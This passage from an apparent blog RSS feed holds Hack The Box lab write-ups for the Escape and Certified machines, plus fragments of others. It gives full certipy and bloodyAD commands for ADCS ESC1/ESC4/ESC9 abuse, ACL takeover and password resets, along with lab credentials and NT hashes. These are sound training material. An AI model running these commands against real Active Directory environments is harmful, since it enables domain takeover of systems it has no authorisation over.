&lt;p&gt;Since the service account is a specific Certification Authority account I checked out whether any ADCS vulns were present using &lt;code&gt;certipy-ad&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/957d12111f6c5f9ef0b72fdd1344dcc8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc14149760adce02ad9893c95efeee08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turns out that the system is vulnerable to &lt;strong&gt;ESC4&lt;/strong&gt; where the specific template name is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4c3cda871c3bc6afdbc03d69da00a37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly we will be issuing the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad template -u ca_svc@sequel.htb -p &apos;P@ssword123!&apos; -template &quot;DunderMifflinAuthentication&quot; -dc-ip 10.129.232.128 -write-default-configuration
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4276553446d49a69bc007e59df8c20b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;ADCS - ESC1&lt;/h2&gt;
&lt;p&gt;Now that configuration is reverted to default &lt;strong&gt;ESC1&lt;/strong&gt; is now possible to exploit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c707bb4fee8dcf36391c20287190098.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This can be done as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -username ca_svc@sequel.htb -p &apos;P@ssword123!&apos; -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128 -upn Administrator@sequel.htb -sid &apos;S-1-5-21-548670397-972687484-3496335370-500&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/704726dae5d1b5caed6b3758acabc94f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From here I was able to change the password and log in as the &lt;em&gt;Administrator&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.128 -ldap-shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd3690886c9b1d6fd10f6d9adf826b9a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell as Administrator&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39d6bd400d76edc940cb29638da3a127.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcc2b121f938234dee07d1e9c40d252b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5d8dc7ac977601f014b9a1538c1c8dc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/02cd50612651cae27bda0ec131974bb0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Escape</title><link>https://maxk9999.vercel.app/posts/escape</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/escape</guid><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.129.228.253
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn -T5 -vvvv escape.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-24 16:18:45Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-24T16:20:13+00:00; +7h59m48s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
|_ssl-date: 2026-01-24T16:20:14+00:00; +7h59m48s from scanner time.
1433/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.228.253:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.129.228.253:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-24T16:20:14+00:00; +7h59m48s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
49702/tcp open  msrpc         syn-ack Microsoft Windows RPC
49713/tcp open  msrpc         syn-ack Microsoft Windows RPC
49740/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 29662/tcp): CLEAN (Timeout)
|   Check 2 (port 16305/tcp): CLEAN (Timeout)
|   Check 3 (port 12096/udp): CLEAN (Timeout)
|   Check 4 (port 48343/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 7h59m47s, deviation: 0s, median: 7h59m47s
| smb2-time: 
|   date: 2026-01-24T16:19:36
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;kerbrute&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;kerbrute&lt;/code&gt; I was able to find the following service accounts present:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcc8ca6af6913c9465e08cbff1d816f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I reran &lt;code&gt;kerbrute&lt;/code&gt; a couple times to check for usernames but wasn&apos;t able to get any hits, instead I ran &lt;code&gt;enum4linux-ng&lt;/code&gt; as the &lt;em&gt;guest&lt;/em&gt; user:&lt;/p&gt;
&lt;h2&gt;enum4linux-ng&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/308b06b6ca6b56f4eb575a8b1f5e981b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The following info was found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a1d1fd8d93f51ad13cc1397bcd98762a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/380d6e1eceebd04bcb936c984b7a62aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Public&lt;/strong&gt; share appears to be readable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1437de9b05f059c92dce59f185e0cec2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the file and checked out the contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/42f8d2e87ebfa46f66ea8404fb5ea0ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And there was also a &lt;strong&gt;Bonus&lt;/strong&gt; tab heading:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7195f5e0b358015d01237a749845fbf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PublicUser
GuestUserCantWrite1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;p&gt;It appeared that this user was still valid:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a98de66d9fac6e7658ba6cb28a85144b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using this user I was able to enumerate other domain users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e90b07712913b768a729cd40f59d387.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;mssql_coerce&lt;/h3&gt;
&lt;p&gt;Using the following commands I was then able to coerce the &lt;em&gt;sql_svc&lt;/em&gt; account into authenticating to our host:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8beeaeabfa744f4ce50297239a153172.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;responder&lt;/code&gt; I saw the following pop up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/db847e53184650d8a61d95854cf50b74.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then proceeded to crack it using hashcat:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef41e81408e6bca5d90b6d56efce818e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/df3333213497d5f90b7e2fb5213b307a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sql_svc
REGGIE1234ronnie
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Moving on I enumerated whether this user had any specific rights on the &lt;code&gt;mssql&lt;/code&gt; server but I didn&apos;t manage to find anything useful:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce8951c0de08657e250e5cd5ada605fd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I sprayed the passwords against the other services and noticed I could log into winrm with this user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/83f9af8436ff266513d36d33dab1dcc4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as sql_svc&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb5a87a9e4ec375366fc74eab81cb0de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I did not notice anything interesting inside my home directory but did notice the &lt;strong&gt;SQLServer&lt;/strong&gt; directory under &lt;code&gt;C:\&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54969b7dd8f3ea7d959015b6f7789736.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Cleartext Credentials&lt;/h2&gt;
&lt;p&gt;I then checked out the error log inside the &lt;strong&gt;Logs&lt;/strong&gt; directory where I found something:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/86a5576410384205061f39a30aabe676.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6aa71050b7f2c4cd67661c4610c956a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears that a user, perhaps &lt;em&gt;ryan&lt;/em&gt;, tried to log in with their password instead of their username. Let&apos;s check our suspicions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec3affc0c7d161d0b6f8ffb64490cf2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While they didn&apos;t seem to be very useful for &lt;code&gt;mssql&lt;/code&gt;, they also worked for &lt;code&gt;winrm&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eaa4c2b8b90678f10d92badc2619578a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement to ryan.cooper&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e0ebbd5c85c82349f084db7adc1c620.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5c5e4f52f6a4b81b6af0fb76e3af76e5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC1&lt;/h2&gt;
&lt;p&gt;Using &lt;em&gt;ryan&lt;/em&gt;&apos;s credentials I enumerated the target with &lt;code&gt;certipy-ad&lt;/code&gt; which displayed the target being vulnerable to &lt;strong&gt;ESC1&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &apos;ryan.cooper@sequel.htb&apos; -p &apos;NuclearMosquito3&apos; -dc-ip 10.129.228.253 -stdout -vulnerable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b2a2ad02e2e9cbeee25e0a4650d76bb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3cf77c8d51553b0081eabf0491f451df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to exploit this vulnerability I used the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -username ryan.cooper@sequel.htb -p &apos;NuclearMosquito3&apos; -ca sequel-DC-CA -template UserAuthentication -dc-ip 10.129.228.253 -upn Administrator@sequel.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2882ecba7ca9d557af53563b10234a48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up I authenticated as the &lt;em&gt;Administrator&lt;/em&gt;, changed their password via &lt;code&gt;ldap-shell&lt;/code&gt; and logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b3f6fef6e3fc716af1288a8034e04882.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cc16b77ff079c08e10436db5dc46aee5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/017648c689e84151ab6f858ff0296c11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Addendum&lt;/h1&gt;
&lt;p&gt;This box was also my 100th rooted machine on HTB:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b8df085621cd288f2bb313d190c25f5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Certified</title><link>https://maxk9999.vercel.app/posts/certified</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/certified</guid><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.129.231.186

Creds:
judith.mader 
judith09
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn -T5 -vvvv certified.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-24 17:38:48Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-24T17:40:17+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-24T17:40:17+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
|_ssl-date: 2026-01-24T17:40:17+00:00; +6h59m48s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49693/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49694/tcp open  msrpc         syn-ack Microsoft Windows RPC
49695/tcp open  msrpc         syn-ack Microsoft Windows RPC
49724/tcp open  msrpc         syn-ack Microsoft Windows RPC
49745/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;enum4linux-ng&lt;/h2&gt;
&lt;p&gt;Using the provided creds I start off by running an enum scan of the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b84bc598971f6c4c3e3e8aa73ac38268.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ad9290b227f278d6153f5344b63bb4ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As well as no lockout policy:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcde0056325ced0f1aab288dd29f87c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;p&gt;I continued my enumeration using &lt;code&gt;nxc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60f5376a7ec911dab7491e81a4df43de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4386d43d8b160d8b82b3b3809045f2c6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fad6029e4f3d1fbd3219d96f0d24d898.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I quickly spidered the shares and found nothing useful:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0cb53010053f01d50d329bc4c6bdde9c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;After some thorough enumeration I decided to check out &lt;code&gt;bloodohund&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2454275fd5a5e47c7831bb98b8dc8682.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2549ceb15926a1bf3c5106f4f2a7b31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Our user appears to have &lt;strong&gt;WriteOwner&lt;/strong&gt; privs over the &lt;strong&gt;MANAGEMENT&lt;/strong&gt; group, which will in turn give us access to the &lt;em&gt;management_svc&lt;/em&gt; user.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;WriteOwner on group&lt;/h2&gt;
&lt;p&gt;This could be simply done using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.231.186 -d certified.htb -u &apos;judith.mader&apos; -p &apos;judith09&apos; set owner &apos;MANAGEMENT&apos; &apos;judith.mader&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c540fa52556849383ad5ec2e3d7aa1a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;GenericWrite&lt;/h2&gt;
&lt;p&gt;Next up I had to abuse the &lt;strong&gt;GenericWrite&lt;/strong&gt; privs over &lt;em&gt;management_svc&lt;/em&gt;. In order to do this though I&apos;d have to give myself &lt;strong&gt;GenericAll&lt;/strong&gt; privs first over the &lt;strong&gt;MANAGEMENT&lt;/strong&gt; group:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.231.186 -d certified.htb -u &apos;judith.mader&apos; -p &apos;judith09&apos; add genericAll &apos;MANAGEMENT&apos; &apos;judith.mader&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4d8f49ff634dd9e5c2c614177fa0695.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then add myself to the group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd1141b29d6ba88d518993baf065490c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally I was able to add shadowCredentials to the &lt;em&gt;management_svc&lt;/em&gt; user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c39726330b94df0de47cc132c9f1ca9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;GenericAll&lt;/h2&gt;
&lt;p&gt;I can now exploit the &lt;strong&gt;GenericAll&lt;/strong&gt; privs over &lt;em&gt;ca_operator&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aaed8d50b5e23f73d5f5e704f2e6edbb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I will be doing this by using the dumped NT hash:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.231.186 -d certified.htb -u &apos;management_svc&apos; -p &apos;:a091c1832bcdd4677c28b5a6a1295584&apos; set password &apos;ca_operator&apos; &apos;P@ssword123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e23be6bfb16e6f3fce09e26ab7c84833.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC9&lt;/h2&gt;
&lt;p&gt;Once I took over the &lt;em&gt;ca_operator&lt;/em&gt; user it was time to check out the certificates:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49640fe176790570a1b0ec563c513c7f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f19a4285685d25bddde46837c6db1cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turns out that the target is vulnerable to &lt;strong&gt;ESC9&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In order to exploit this we will be taking the following steps:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account -u &apos;management_svc@certified.htb&apos; -hashes a091c1832bcdd4677c28b5a6a1295584  -dc-ip 10.129.231.186 -user &apos;ca_operator&apos; -upn &apos;administrator&apos; update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51c9648087bdf6f50132d0c4b1e9ec6a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up the TGT is obtained in order to pass the kerb ticket&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad shadow -u &apos;management_svc@certified.htb&apos; -hashes a091c1832bcdd4677c28b5a6a1295584 -account &apos;ca_operator&apos; auto -dc-host dc01.certified.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a1ae53646e77f2661ffddde7e1e548cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d7ed77ed676e51ea41ac0f47d20e5afb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We will now be requesting the certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -k -dc-ip 10.129.231.186 -target DC01.certified.htb -ca certified-DC01-CA -template CertifiedAuthentication
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de49c51e3bb9203704730f5e5bd9e818.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As part of the clean up we reverse the &lt;em&gt;ca_operator&lt;/em&gt; rights:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account -u &apos;management_svc@certified.htb&apos; -hashes a091c1832bcdd4677c28b5a6a1295584  -dc-ip 10.129.231.186 -user &apos;ca_operator&apos; -upn &apos;ca_operator&apos; update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b02ddbcf6ea71a10500a680800130a3a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lastly we authenticate as the &lt;em&gt;Administrator&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d7c30fb894af7cc314c9d1e56030645.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e86844143d83f8f01cbe2e7d9a86dbbf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ee73c2298911f0d3fde9f96dcdb4124.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a07acf54cb0dfaf47f49c2cc19e3efd7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/93e017f03cd0723ab87b5838dd746572.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;[^Links]: [[Hack The Box]]&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Scepter</title><link>https://maxk9999.vercel.app/posts/scepter</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/scepter</guid><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.129.244.44
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-25 01:38:53Z)
